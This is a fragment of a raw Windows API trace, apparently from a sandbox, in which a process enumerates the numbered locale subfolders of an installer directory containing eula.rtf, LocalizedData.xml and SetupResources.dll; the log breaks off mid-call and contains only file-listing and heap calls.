GetProcessHeap () returned 0x11a0000 [0075.084] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x11ffa60 [0075.085] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\*", lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0075.191] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0075.191] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1025", cAlternateFileName="")) returned 1 [0075.191] GetProcessHeap () returned 0x11a0000 [0075.191] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0075.192] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9d90 [0075.193] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0075.194] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.194] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.194] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.194] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.196] FindClose (in: hFindFile=0x11b9d90 | out: hFindFile=0x11b9d90) returned 1 [0075.196] GetProcessHeap () returned 0x11a0000 [0075.196] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0075.197] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1028", cAlternateFileName="")) returned 1 [0075.197] GetProcessHeap () returned 0x11a0000 [0075.197] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0075.197] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9d90 [0075.199] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0075.199] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.199] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.199] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.199] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.201] FindClose (in: hFindFile=0x11b9d90 | out: hFindFile=0x11b9d90) returned 1 [0075.201] GetProcessHeap () returned 0x11a0000 [0075.201] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0075.202] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1029", cAlternateFileName="")) returned 1 [0075.202] GetProcessHeap () returned 0x11a0000 [0075.202] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0075.202] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9d90 [0075.204] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0075.204] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.204] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.204] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.204] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.206] FindClose (in: hFindFile=0x11b9d90 | out: hFindFile=0x11b9d90) returned 1 [0075.206] GetProcessHeap () returned 0x11a0000 [0075.206] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0075.206] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1030", cAlternateFileName="")) returned 1 [0075.206] GetProcessHeap () returned 0x11a0000 [0075.206] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0075.207] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9d90 [0075.208] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0075.208] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.209] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.209] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.209] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.210] FindClose (in: hFindFile=0x11b9d90 | out: hFindFile=0x11b9d90) returned 1 [0075.211] GetProcessHeap () returned 0x11a0000 [0075.211] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0075.211] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1031", cAlternateFileName="")) returned 1 [0075.211] GetProcessHeap () returned 0x11a0000 [0075.211] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0075.212] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9d90 [0075.213] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0075.213] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.213] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.214] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.214] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.215] FindClose (in: hFindFile=0x11b9d90 | out: hFindFile=0x11b9d90) returned 1 [0075.216] GetProcessHeap () returned 0x11a0000 [0075.216] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0075.216] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1032", cAlternateFileName="")) returned 1 [0075.216] GetProcessHeap () returned 0x11a0000 [0075.216] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0075.217] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9d90 [0075.218] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0075.218] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.218] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.218] FindNextFileW 